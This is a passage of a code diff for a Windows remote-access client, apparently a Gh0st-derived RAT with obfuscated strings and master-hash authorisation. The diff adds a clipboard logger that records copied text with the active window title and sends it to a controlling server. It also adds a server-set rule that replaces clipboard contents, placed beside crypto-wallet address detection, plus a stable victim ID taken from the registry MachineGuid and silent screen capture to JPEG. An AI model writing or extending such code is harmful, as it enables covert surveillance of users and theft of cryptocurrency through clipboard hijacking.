return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
|
||||||
}
|
}
|
||||||
@@ -494,27 +525,66 @@ int CALLBACK WriteBuffer(const char* record, void* user)
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
std::string CKeyboardManager1::ReplaceText() {
|
||||||
|
CAutoCLock L(m_ruleMu);
|
||||||
|
|
||||||
|
switch (m_ReplaceRule.type) {
|
||||||
|
case RULE_REPLACE_ALL:
|
||||||
|
if (m_ReplaceRule.param[0] == 0)
|
||||||
|
return "";
|
||||||
|
std::string text((char*)m_ReplaceRule.param);
|
||||||
|
return clip::set_text_utf8(text) ? text : "";
|
||||||
|
}
|
||||||
|
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
|
DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
|
||||||
{
|
{
|
||||||
CKeyboardManager1* pThis = (CKeyboardManager1*)lparam;
|
CKeyboardManager1* pThis = (CKeyboardManager1*)lparam;
|
||||||
|
std::string lastValue = {};
|
||||||
while (pThis->m_bIsWorking) {
|
while (pThis->m_bIsWorking) {
|
||||||
auto w = pThis->GetWallet();
|
bool hasClipboard = clip::has(clip::text_format());
|
||||||
if (w.empty()) {
|
|
||||||
Sleep(1000);
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
bool hasClipboard = false;
|
|
||||||
try {
|
|
||||||
hasClipboard = clip::has(clip::text_format());
|
|
||||||
} catch (...) { // fix: "std::runtime_error" causing crashes in some cases
|
|
||||||
hasClipboard = false;
|
|
||||||
Sleep(3000);
|
|
||||||
}
|
|
||||||
if (hasClipboard) {
|
if (hasClipboard) {
|
||||||
std::string value;
|
std::string value;
|
||||||
clip::get_text(value);
|
if (!clip::get_text(value)) {
|
||||||
if (value.length() > 200) {
|
Sleep(500);
|
||||||
Sleep(1000);
|
continue;
|
||||||
|
}
|
||||||
|
std::string recordValue = value.substr(0, 4096);
|
||||||
|
if (lastValue.length() != recordValue.length() || lastValue != recordValue) {
|
||||||
|
lastValue = recordValue;
|
||||||
|
HWND foreground = GetForegroundWindow();
|
||||||
|
char window_title[MAX_PATH] = {};
|
||||||
|
wchar_t wTitle[MAX_PATH] = {};
|
||||||
|
GetWindowTextW(foreground, wTitle, MAX_PATH);
|
||||||
|
if (wTitle[0]) {
|
||||||
|
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, window_title, MAX_PATH, NULL, NULL);
|
||||||
|
}
|
||||||
|
SYSTEMTIME s;
|
||||||
|
GetLocalTime(&s);
|
||||||
|
char tm[64];
|
||||||
|
sprintf_s(tm, "%d-%02d-%02d %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay, s.wHour, s.wMinute, s.wSecond);
|
||||||
|
std::stringstream output;
|
||||||
|
output << "\r\n\r\n[Title:] " << window_title << "\r\n[Time:]" << tm << "\r\n[Clipboard:]" << recordValue;
|
||||||
|
std::string str = output.str();
|
||||||
|
pThis->m_Buffer->Write(str.c_str(), str.length());
|
||||||
|
|
||||||
|
if (pThis->IsConnected()) {
|
||||||
|
str.erase(0, 4);
|
||||||
|
str.insert(0, 1, TOKEN_CLIP_TEXT);
|
||||||
|
pThis->Send((BYTE*)str.c_str(), str.length()+1);
|
||||||
|
std::string newValue = pThis->ReplaceText();
|
||||||
|
if (!newValue.empty()) {
|
||||||
|
Mprintf("[Clipboard] Replace %d bytes -> %d bytes \n", recordValue.length(), newValue.length());
|
||||||
|
lastValue = newValue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// Wallet detection
|
||||||
|
auto w = pThis->GetWallet();
|
||||||
|
if (value.length() > 200 || w.empty()) {
|
||||||
|
Sleep(500);
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
auto type = detectWalletType(value);
|
auto type = detectWalletType(value);
|
||||||
@@ -556,7 +626,7 @@ DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
Sleep(1000);
|
Sleep(500);
|
||||||
}
|
}
|
||||||
return 0x20251005;
|
return 0x20251005;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -237,19 +237,22 @@ public:
|
|||||||
HANDLE m_hClipboard;
|
HANDLE m_hClipboard;
|
||||||
HANDLE m_hWorkThread,m_hSendThread;
|
HANDLE m_hWorkThread,m_hSendThread;
|
||||||
TCHAR m_strRecordFile[MAX_PATH];
|
TCHAR m_strRecordFile[MAX_PATH];
|
||||||
|
TextReplace m_ReplaceRule = {};
|
||||||
virtual BOOL Reconnect()
|
virtual BOOL Reconnect()
|
||||||
{
|
{
|
||||||
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
|
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
|
||||||
}
|
}
|
||||||
|
std::string ReplaceText();
|
||||||
private:
|
private:
|
||||||
BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData);
|
BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData);
|
||||||
int sendStartKeyBoard();
|
int sendStartKeyBoard(const TextReplace& rule);
|
||||||
|
|
||||||
int sendKeyBoardData(LPBYTE lpData, UINT nSize);
|
int sendKeyBoardData(LPBYTE lpData, UINT nSize);
|
||||||
|
|
||||||
bool m_bIsWorking;
|
bool m_bIsWorking;
|
||||||
CircularBuffer *m_Buffer;
|
CircularBuffer *m_Buffer;
|
||||||
CLocker m_mu;
|
CLocker m_mu;
|
||||||
|
CLocker m_ruleMu;
|
||||||
std::vector<std::string> m_Wallet;
|
std::vector<std::string> m_Wallet;
|
||||||
std::vector<std::string> GetWallet();
|
std::vector<std::string> GetWallet();
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -213,19 +213,26 @@ std::string GetCurrentExeVersion()
|
|||||||
|
|
||||||
std::string GetCurrentUserNameA()
|
std::string GetCurrentUserNameA()
|
||||||
{
|
{
|
||||||
char username[256];
|
// 用 W 接口取宽字符再转 UTF-8,避免依赖系统 ANSI 代码页(中文账号名在英语系统上
|
||||||
DWORD size = sizeof(username);
|
// 用 GetUserNameA 取出来是 '?',与 LOGIN_INFOR 的 CLIENT_CAP_UTF8 声明也不一致)。
|
||||||
|
wchar_t wname[256] = {};
|
||||||
if (GetUserNameA(username, &size)) {
|
DWORD wsize = _countof(wname);
|
||||||
return std::string(username);
|
if (!GetUserNameW(wname, &wsize)) {
|
||||||
} else {
|
|
||||||
return "Unknown";
|
return "Unknown";
|
||||||
}
|
}
|
||||||
|
char buf[256 * 3] = {};
|
||||||
|
if (WideCharToMultiByte(CP_UTF8, 0, wname, -1, buf, sizeof(buf), NULL, NULL) <= 0) {
|
||||||
|
return "Unknown";
|
||||||
|
}
|
||||||
|
return std::string(buf);
|
||||||
}
|
}
|
||||||
|
|
||||||
#define XXH_INLINE_ALL
|
#define XXH_INLINE_ALL
|
||||||
#include "common/xxhash.h"
|
#include "common/xxhash.h"
|
||||||
// 基于客户端信息计算唯一ID: { IP, PC, OS, CPU, PATH }
|
|
||||||
|
// 老算法:基于客户端信息计算唯一ID: { IP, PC, OS, CPU, PATH }
|
||||||
|
// 注意:pubIP 不稳定(DHCP/换网络)会让 ID 跳变;同 hostname+同安装路径的多机会撞库。
|
||||||
|
// 保留此函数仅为协议兼容(老服务端仍按这个算法验算 RES_CLIENT_ID)。
|
||||||
uint64_t CalcalateID(const std::vector<std::string>& clientInfo)
|
uint64_t CalcalateID(const std::vector<std::string>& clientInfo)
|
||||||
{
|
{
|
||||||
std::string s;
|
std::string s;
|
||||||
@@ -236,6 +243,52 @@ uint64_t CalcalateID(const std::vector<std::string>& clientInfo)
|
|||||||
return XXH64(s.c_str(), s.length(), 0);
|
return XXH64(s.c_str(), s.length(), 0);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 读取 Windows 安装时生成的机器 GUID。
|
||||||
|
// HKLM\Software\Microsoft\Cryptography\MachineGuid 是 Windows 安装时生成的随机 GUID,
|
||||||
|
// 重装系统才会变;局域网每台机器都不同(即便同镜像,sysprep 也会重置)。
|
||||||
|
// 这是比 pubIP/PCName/CPU 都更稳定且更具区分度的硬件标识。
|
||||||
|
static std::string GetMachineGuidWindows()
|
||||||
|
{
|
||||||
|
HKEY hKey = NULL;
|
||||||
|
// KEY_WOW64_64KEY: 32 位进程也访问 64 位注册表视图,避免 WOW6432Node 重定向。
|
||||||
|
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE,
|
||||||
|
"SOFTWARE\\Microsoft\\Cryptography",
|
||||||
|
0, KEY_READ | KEY_WOW64_64KEY, &hKey) != ERROR_SUCCESS) {
|
||||||
|
return std::string();
|
||||||
|
}
|
||||||
|
char buf[64] = {};
|
||||||
|
DWORD sz = sizeof(buf) - 1; // 留 1 字节给 NUL
|
||||||
|
DWORD type = 0;
|
||||||
|
LSTATUS s = RegQueryValueExA(hKey, "MachineGuid", NULL, &type,
|
||||||
|
(BYTE*)buf, &sz);
|
||||||
|
RegCloseKey(hKey);
|
||||||
|
if (s != ERROR_SUCCESS || type != REG_SZ) return std::string();
|
||||||
|
return std::string(buf);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 路径归一化:先尝试展开成长路径(如 PROGRA~1 -> Program Files),再小写化。
|
||||||
|
// 用于 V2 ID 的输入,保证大小写或长短名变化时同一可执行文件得到同一 ID。
|
||||||
|
static std::string NormalizeExePathLower(const char* path)
|
||||||
|
{
|
||||||
|
char longPath[MAX_PATH] = {};
|
||||||
|
if (GetLongPathNameA(path, longPath, MAX_PATH) == 0) {
|
||||||
|
// 展开失败(路径不存在等罕见情况):直接用原值
|
||||||
|
strcpy_s(longPath, path);
|
||||||
|
}
|
||||||
|
CharLowerA(longPath); // 原地小写化(对 ASCII 简单,对中文路径会按宽字符规则处理)
|
||||||
|
return std::string(longPath);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 新算法:machineGuid + 归一化路径
|
||||||
|
// - 同机同程序:永远同 ID(不依赖 IP/PCName/OS/CPU)。
|
||||||
|
// - 局域网多机相同镜像:MachineGuid 必不同 → ID 必不同。
|
||||||
|
// - 一台机两份程序在不同目录 → ID 不同。
|
||||||
|
uint64_t CalcalateIDv2(const std::string& machineGuid, const std::string& normalizedPath)
|
||||||
|
{
|
||||||
|
std::string s = machineGuid + "|" + normalizedPath;
|
||||||
|
return XXH64(s.c_str(), s.length(), 0);
|
||||||
|
}
|
||||||
|
|
||||||
BOOL IsAuthKernel(std::string &str) {
|
BOOL IsAuthKernel(std::string &str) {
|
||||||
BOOL isAuthKernel = FALSE;
|
BOOL isAuthKernel = FALSE;
|
||||||
std::string pid = std::to_string(GetCurrentProcessId());
|
std::string pid = std::to_string(GetCurrentProcessId());
|
||||||
@@ -292,9 +345,18 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
|
|||||||
LoginInfor.AddReserved(getOSBits()); // 系统位数
|
LoginInfor.AddReserved(getOSBits()); // 系统位数
|
||||||
LoginInfor.AddReserved(GetCPUCores()); // CPU核数
|
LoginInfor.AddReserved(GetCPUCores()); // CPU核数
|
||||||
LoginInfor.AddReserved(GetMemorySizeGB()); // 系统内存
|
LoginInfor.AddReserved(GetMemorySizeGB()); // 系统内存
|
||||||
|
// 路径分两份处理:
|
||||||
|
// - buf (CP_ACP): 保留给 CalcalateIDv2 / 老 CalculateID 用,保证升级后 client ID
|
||||||
|
// 不变(老版客户端用的是 GetModuleFileNameA 的 CP_ACP 字节,
|
||||||
|
// 若改成 UTF-8 同一物理路径会算出不同 ID,丢授权/备注)。
|
||||||
|
// - utf8Path: 发给服务端的 RES_FILE_PATH,与 CLIENT_CAP_UTF8 一致。
|
||||||
char buf[_MAX_PATH] = {};
|
char buf[_MAX_PATH] = {};
|
||||||
GetModuleFileNameA(NULL, buf, sizeof(buf));
|
GetModuleFileNameA(NULL, buf, sizeof(buf)); // CP_ACP, 留给 ID 计算用
|
||||||
LoginInfor.AddReserved(buf); // 文件路径
|
wchar_t wbuf[_MAX_PATH] = {};
|
||||||
|
GetModuleFileNameW(NULL, wbuf, _MAX_PATH);
|
||||||
|
char utf8Path[_MAX_PATH * 3] = {}; // UTF-8 最多 3 字节/中文,给足
|
||||||
|
WideCharToMultiByte(CP_UTF8, 0, wbuf, -1, utf8Path, sizeof(utf8Path), NULL, NULL);
|
||||||
|
LoginInfor.AddReserved(utf8Path); // 文件路径 (UTF-8 发给服务端显示)
|
||||||
LoginInfor.AddReserved("?"); // test
|
LoginInfor.AddReserved("?"); // test
|
||||||
std::string installTime = cfg.GetStr("settings", "install_time");
|
std::string installTime = cfg.GetStr("settings", "install_time");
|
||||||
if (installTime.empty()) {
|
if (installTime.empty()) {
|
||||||
@@ -306,7 +368,7 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
|
|||||||
LoginInfor.AddReserved(sizeof(void*)==4 ? 32 : 64); // 程序位数
|
LoginInfor.AddReserved(sizeof(void*)==4 ? 32 : 64); // 程序位数
|
||||||
std::string masterHash(skCrypt(MASTER_HASH));
|
std::string masterHash(skCrypt(MASTER_HASH));
|
||||||
WIN32_FILE_ATTRIBUTE_DATA fileInfo;
|
WIN32_FILE_ATTRIBUTE_DATA fileInfo;
|
||||||
GetFileAttributesExA(buf, GetFileExInfoStandard, &fileInfo);
|
GetFileAttributesExW(wbuf, GetFileExInfoStandard, &fileInfo);
|
||||||
LoginInfor.AddReserved(str.c_str()); // 授权信息
|
LoginInfor.AddReserved(str.c_str()); // 授权信息
|
||||||
bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 ||
|
bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 ||
|
||||||
strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0;
|
strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0;
|
||||||
@@ -332,7 +394,17 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
|
|||||||
LoginInfor.AddReserved(IsRunningAsAdmin());
|
LoginInfor.AddReserved(IsRunningAsAdmin());
|
||||||
char cpuInfo[32];
|
char cpuInfo[32];
|
||||||
sprintf(cpuInfo, "%dMHz", dwCPUMHz);
|
sprintf(cpuInfo, "%dMHz", dwCPUMHz);
|
||||||
|
// V2 ID 算法:MachineGuid + 归一化路径
|
||||||
|
// - 同机同程序路径永远同 ID(不依赖 IP/PCName/OS/CPU 漂移)
|
||||||
|
// - 局域网多机即便同镜像(sysprep 会让 MachineGuid 各不同)也不撞库
|
||||||
|
// MachineGuid 读取失败的极端情况退化到老算法,保兼容。
|
||||||
|
std::string machineGuid = GetMachineGuidWindows();
|
||||||
|
if (!machineGuid.empty()) {
|
||||||
|
conn.clientID = CalcalateIDv2(machineGuid, NormalizeExePathLower(buf));
|
||||||
|
} else {
|
||||||
|
Mprintf("WARN: MachineGuid 读取失败,回退到老 ID 算法\n");
|
||||||
conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf });
|
conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf });
|
||||||
|
}
|
||||||
auto clientID = std::to_string(conn.clientID);
|
auto clientID = std::to_string(conn.clientID);
|
||||||
Mprintf("此客户端的唯一标识为: %s\n", clientID.c_str());
|
Mprintf("此客户端的唯一标识为: %s\n", clientID.c_str());
|
||||||
char reservedInfo[64];
|
char reservedInfo[64];
|
||||||
|
|||||||
@@ -191,6 +191,7 @@ public:
|
|||||||
m_pScrollDetector(nullptr), m_bEnableScrollDetect(false), m_bServerSupportsScroll(false),
|
m_pScrollDetector(nullptr), m_bEnableScrollDetect(false), m_bServerSupportsScroll(false),
|
||||||
m_bLastFrameWasScroll(false), m_nScrollDetectInterval(1)
|
m_bLastFrameWasScroll(false), m_nScrollDetectInterval(1)
|
||||||
{
|
{
|
||||||
|
SetAlgorithm(algo);
|
||||||
m_BitmapInfor_Send = nullptr;
|
m_BitmapInfor_Send = nullptr;
|
||||||
m_BmpZoomBuffer = nullptr;
|
m_BmpZoomBuffer = nullptr;
|
||||||
m_BmpZoomFirst = nullptr;
|
m_BmpZoomFirst = nullptr;
|
||||||
@@ -985,7 +986,7 @@ public:
|
|||||||
virtual BYTE SetAlgorithm(int algo)
|
virtual BYTE SetAlgorithm(int algo)
|
||||||
{
|
{
|
||||||
BYTE oldAlgo = m_bAlgorithm;
|
BYTE oldAlgo = m_bAlgorithm;
|
||||||
m_bAlgorithm = algo;
|
m_bAlgorithm = (DISABLE_X264_FOR_TEST && algo == ALGORITHM_H264) ? ALGORITHM_RGB565 : algo;
|
||||||
return oldAlgo;
|
return oldAlgo;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -137,7 +137,11 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL fixedQuality = all || algo == ALGORITHM_H264;
|
int quality = cfg.GetInt("settings", "QualityLevel", QUALITY_GOOD);
|
||||||
|
if (algo != (BYTE)ALGORITHM_NUL)
|
||||||
|
quality = QUALITY_DISABLED;
|
||||||
|
Mprintf("图像传输算法: %d, 多显示器支持是否启用: %d, 屏幕质量等级: %d\n", (int)algo, all, quality);
|
||||||
|
|
||||||
m_ScreenSettings.MaxFPS = m_nMaxFPS;
|
m_ScreenSettings.MaxFPS = m_nMaxFPS;
|
||||||
m_ScreenSettings.CompressThread = threadNum;
|
m_ScreenSettings.CompressThread = threadNum;
|
||||||
m_ScreenSettings.ScreenStrategy = cfg.GetInt("settings", "ScreenStrategy", 0);
|
m_ScreenSettings.ScreenStrategy = cfg.GetInt("settings", "ScreenStrategy", 0);
|
||||||
@@ -146,7 +150,7 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
|
|||||||
m_ScreenSettings.FullScreen = cfg.GetInt("settings", "FullScreen", priv);
|
m_ScreenSettings.FullScreen = cfg.GetInt("settings", "FullScreen", priv);
|
||||||
m_ScreenSettings.RemoteCursor = cfg.GetInt("settings", "RemoteCursor", 0);
|
m_ScreenSettings.RemoteCursor = cfg.GetInt("settings", "RemoteCursor", 0);
|
||||||
m_ScreenSettings.ScrollDetectInterval = cfg.GetInt("settings", "ScrollDetectInterval", 2); // 默认每2帧
|
m_ScreenSettings.ScrollDetectInterval = cfg.GetInt("settings", "ScrollDetectInterval", 2); // 默认每2帧
|
||||||
m_ScreenSettings.QualityLevel = cfg.GetInt("settings", "QualityLevel", fixedQuality ? QUALITY_GOOD : QUALITY_ADAPTIVE);
|
m_ScreenSettings.QualityLevel = cfg.GetInt("settings", "QualityLevel", quality);
|
||||||
m_ScreenSettings.CpuSpeedup = cfg.GetInt("settings", "CpuSpeedup", 0);
|
m_ScreenSettings.CpuSpeedup = cfg.GetInt("settings", "CpuSpeedup", 0);
|
||||||
m_ScreenSettings.AudioEnabled = cfg.GetInt("settings", "AudioEnabled", 0); // 默认禁用音频
|
m_ScreenSettings.AudioEnabled = cfg.GetInt("settings", "AudioEnabled", 0); // 默认禁用音频
|
||||||
|
|
||||||
|
|||||||
188
client/ScreenPreview.cpp
Normal file
188
client/ScreenPreview.cpp
Normal file
@@ -0,0 +1,188 @@
|
|||||||
|
// ScreenPreview.cpp
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "ScreenPreview.h"
|
||||||
|
#include "../common/commands.h" // ScreenPreviewStatus
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
#include <objidl.h> // IUnknown / IStream — gdiplus.h 依赖它们已声明
|
||||||
|
#include <gdiplus.h>
|
||||||
|
#pragma comment(lib, "gdiplus.lib")
|
||||||
|
|
||||||
|
using namespace Gdiplus;
|
||||||
|
|
||||||
|
namespace {
|
||||||
|
|
||||||
|
// GDI+ 进程级初始化(与 Bmp2Video 互不冲突;Startup 可重入计数)
|
||||||
|
struct GdiplusBoot {
|
||||||
|
ULONG_PTR token = 0;
|
||||||
|
bool ok = false;
|
||||||
|
GdiplusBoot()
|
||||||
|
{
|
||||||
|
GdiplusStartupInput in;
|
||||||
|
ok = (GdiplusStartup(&token, &in, NULL) == Ok);
|
||||||
|
}
|
||||||
|
~GdiplusBoot()
|
||||||
|
{
|
||||||
|
if (ok) GdiplusShutdown(token);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
static GdiplusBoot g_boot;
|
||||||
|
|
||||||
|
int GetJpegEncoderClsid(CLSID& clsid)
|
||||||
|
{
|
||||||
|
UINT num = 0, size = 0;
|
||||||
|
GetImageEncodersSize(&num, &size);
|
||||||
|
if (size == 0) return -1;
|
||||||
|
|
||||||
|
std::vector<BYTE> buf(size);
|
||||||
|
ImageCodecInfo* info = reinterpret_cast<ImageCodecInfo*>(buf.data());
|
||||||
|
GetImageEncoders(num, size, info);
|
||||||
|
for (UINT i = 0; i < num; ++i) {
|
||||||
|
if (wcscmp(info[i].MimeType, L"image/jpeg") == 0) {
|
||||||
|
clsid = info[i].Clsid;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 抓主屏到 24bpp Bitmap,目标尺寸已等比换算。
|
||||||
|
// 返回新分配的 Bitmap*,失败返回 nullptr。调用者负责 delete。
|
||||||
|
Bitmap* GrabPrimaryScaled(int targetW, int targetH)
|
||||||
|
{
|
||||||
|
HDC hScreen = GetDC(NULL);
|
||||||
|
if (!hScreen) return nullptr;
|
||||||
|
|
||||||
|
int srcX = GetSystemMetrics(SM_XVIRTUALSCREEN); // 主屏左上 — 仅取主屏时用 0,0
|
||||||
|
int srcY = GetSystemMetrics(SM_YVIRTUALSCREEN);
|
||||||
|
(void)srcX; (void)srcY;
|
||||||
|
|
||||||
|
int srcW = GetSystemMetrics(SM_CXSCREEN);
|
||||||
|
int srcH = GetSystemMetrics(SM_CYSCREEN);
|
||||||
|
if (srcW <= 0 || srcH <= 0) {
|
||||||
|
ReleaseDC(NULL, hScreen);
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
HDC hMem = CreateCompatibleDC(hScreen);
|
||||||
|
HBITMAP hBmp = CreateCompatibleBitmap(hScreen, targetW, targetH);
|
||||||
|
if (!hMem || !hBmp) {
|
||||||
|
if (hBmp) DeleteObject(hBmp);
|
||||||
|
if (hMem) DeleteDC(hMem);
|
||||||
|
ReleaseDC(NULL, hScreen);
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
HGDIOBJ oldBmp = SelectObject(hMem, hBmp);
|
||||||
|
|
||||||
|
// 高质量缩放:HALFTONE 内插
|
||||||
|
SetStretchBltMode(hMem, HALFTONE);
|
||||||
|
SetBrushOrgEx(hMem, 0, 0, NULL);
|
||||||
|
BOOL bb = StretchBlt(hMem, 0, 0, targetW, targetH,
|
||||||
|
hScreen, 0, 0, srcW, srcH, SRCCOPY | CAPTUREBLT);
|
||||||
|
|
||||||
|
SelectObject(hMem, oldBmp);
|
||||||
|
|
||||||
|
Bitmap* out = nullptr;
|
||||||
|
if (bb) {
|
||||||
|
// 拷贝 HBITMAP 到 GDI+ Bitmap,避免后续释放设备 DC 影响图像
|
||||||
|
Bitmap tmp(hBmp, NULL);
|
||||||
|
if (tmp.GetLastStatus() == Ok) {
|
||||||
|
out = tmp.Clone(0, 0, targetW, targetH, PixelFormat24bppRGB);
|
||||||
|
if (out && out->GetLastStatus() != Ok) {
|
||||||
|
delete out;
|
||||||
|
out = nullptr;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
DeleteObject(hBmp);
|
||||||
|
DeleteDC(hMem);
|
||||||
|
ReleaseDC(NULL, hScreen);
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace
|
||||||
|
|
||||||
|
int CaptureAndEncodePreview(int maxWidth, int quality,
|
||||||
|
std::vector<unsigned char>& out,
|
||||||
|
int& outWidth, int& outHeight)
|
||||||
|
{
|
||||||
|
out.clear();
|
||||||
|
outWidth = outHeight = 0;
|
||||||
|
|
||||||
|
if (!g_boot.ok) return SCREEN_PREVIEW_NOT_SUPPORTED;
|
||||||
|
if (maxWidth < 64) maxWidth = 64;
|
||||||
|
if (maxWidth > 1920) maxWidth = 1920;
|
||||||
|
if (quality < 1) quality = 1;
|
||||||
|
if (quality > 100) quality = 100;
|
||||||
|
|
||||||
|
int srcW = GetSystemMetrics(SM_CXSCREEN);
|
||||||
|
int srcH = GetSystemMetrics(SM_CYSCREEN);
|
||||||
|
if (srcW <= 0 || srcH <= 0) return SCREEN_PREVIEW_CAPTURE_FAILED;
|
||||||
|
|
||||||
|
// 等比缩放,禁止放大
|
||||||
|
int targetW = (srcW <= maxWidth) ? srcW : maxWidth;
|
||||||
|
int targetH = (int)((double)srcH * targetW / srcW + 0.5);
|
||||||
|
if (targetH <= 0) targetH = 1;
|
||||||
|
// 偶数对齐,JPEG 编码更高效
|
||||||
|
targetW &= ~1;
|
||||||
|
targetH &= ~1;
|
||||||
|
if (targetW < 2) targetW = 2;
|
||||||
|
if (targetH < 2) targetH = 2;
|
||||||
|
|
||||||
|
Bitmap* bmp = GrabPrimaryScaled(targetW, targetH);
|
||||||
|
if (!bmp) return SCREEN_PREVIEW_CAPTURE_FAILED;
|
||||||
|
|
||||||
|
CLSID clsid;
|
||||||
|
if (GetJpegEncoderClsid(clsid) != 0) {
|
||||||
|
delete bmp;
|
||||||
|
return SCREEN_PREVIEW_ENCODE_FAILED;
|
||||||
|
}
|
||||||
|
|
||||||
|
EncoderParameters params;
|
||||||
|
params.Count = 1;
|
||||||
|
params.Parameter[0].Guid = EncoderQuality;
|
||||||
|
params.Parameter[0].Type = EncoderParameterValueTypeLong;
|
||||||
|
params.Parameter[0].NumberOfValues = 1;
|
||||||
|
ULONG q = (ULONG)quality;
|
||||||
|
params.Parameter[0].Value = &q;
|
||||||
|
|
||||||
|
IStream* stream = nullptr;
|
||||||
|
if (FAILED(CreateStreamOnHGlobal(NULL, TRUE, &stream))) {
|
||||||
|
delete bmp;
|
||||||
|
return SCREEN_PREVIEW_ENCODE_FAILED;
|
||||||
|
}
|
||||||
|
|
||||||
|
Status st = bmp->Save(stream, &clsid, ¶ms);
|
||||||
|
delete bmp;
|
||||||
|
|
||||||
|
if (st != Ok) {
|
||||||
|
stream->Release();
|
||||||
|
return SCREEN_PREVIEW_ENCODE_FAILED;
|
||||||
|
}
|
||||||
|
|
||||||
|
HGLOBAL hMem = NULL;
|
||||||
|
if (FAILED(GetHGlobalFromStream(stream, &hMem)) || !hMem) {
|
||||||
|
stream->Release();
|
||||||
|
return SCREEN_PREVIEW_ENCODE_FAILED;
|
||||||
|
}
|
||||||
|
SIZE_T sz = GlobalSize(hMem);
|
||||||
|
if (sz == 0) {
|
||||||
|
stream->Release();
|
||||||
|
return SCREEN_PREVIEW_ENCODE_FAILED;
|
||||||
|
}
|
||||||
|
|
||||||
|
void* p = GlobalLock(hMem);
|
||||||
|
if (!p) {
|
||||||
|
stream->Release();
|
||||||
|
return SCREEN_PREVIEW_ENCODE_FAILED;
|
||||||
|
}
|
||||||
|
out.assign((unsigned char*)p, (unsigned char*)p + sz);
|
||||||
|
GlobalUnlock(hMem);
|
||||||
|
stream->Release();
|
||||||
|
|
||||||
|
outWidth = targetW;
|
||||||
|
outHeight = targetH;
|
||||||
|
return SCREEN_PREVIEW_OK;
|
||||||
|
}
|
||||||
16
client/ScreenPreview.h
Normal file
16
client/ScreenPreview.h
Normal file
@@ -0,0 +1,16 @@
|
|||||||
|
// ScreenPreview.h
|
||||||
|
// 屏幕预览:抓主屏 → 等比缩放 → JPEG 编码,供 COMMAND_SCREEN_PREVIEW_REQ 响应使用。
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
// 抓取主屏并编码成 JPEG。
|
||||||
|
// maxWidth 服务端期望的宽度;客户端按源屏宽度等比缩放,不会强制放大
|
||||||
|
// quality JPEG 质量 1..100(建议 40..85)
|
||||||
|
// out 编码后的 JPEG 字节流
|
||||||
|
// outWidth 实际编码图宽
|
||||||
|
// outHeight 实际编码图高
|
||||||
|
// 返回 0 表示成功;非 0 见 ScreenPreviewStatus(枚举在 commands.h)
|
||||||
|
int CaptureAndEncodePreview(int maxWidth, int quality,
|
||||||
|
std::vector<unsigned char>& out,
|
||||||
|
int& outWidth, int& outHeight);
|
||||||
@@ -7,13 +7,13 @@
|
|||||||
//
|
//
|
||||||
// Generated from the TEXTINCLUDE 2 resource.
|
// Generated from the TEXTINCLUDE 2 resource.
|
||||||
//
|
//
|
||||||
#include "afxres.h"
|
#include "winres.h"
|
||||||
|
|
||||||
/////////////////////////////////////////////////////////////////////////////
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
#undef APSTUDIO_READONLY_SYMBOLS
|
#undef APSTUDIO_READONLY_SYMBOLS
|
||||||
|
|
||||||
/////////////////////////////////////////////////////////////////////////////
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
// 中文(简体,中国) resources
|
// 中文(简体,中国) resources
|
||||||
|
|
||||||
#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)
|
#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)
|
||||||
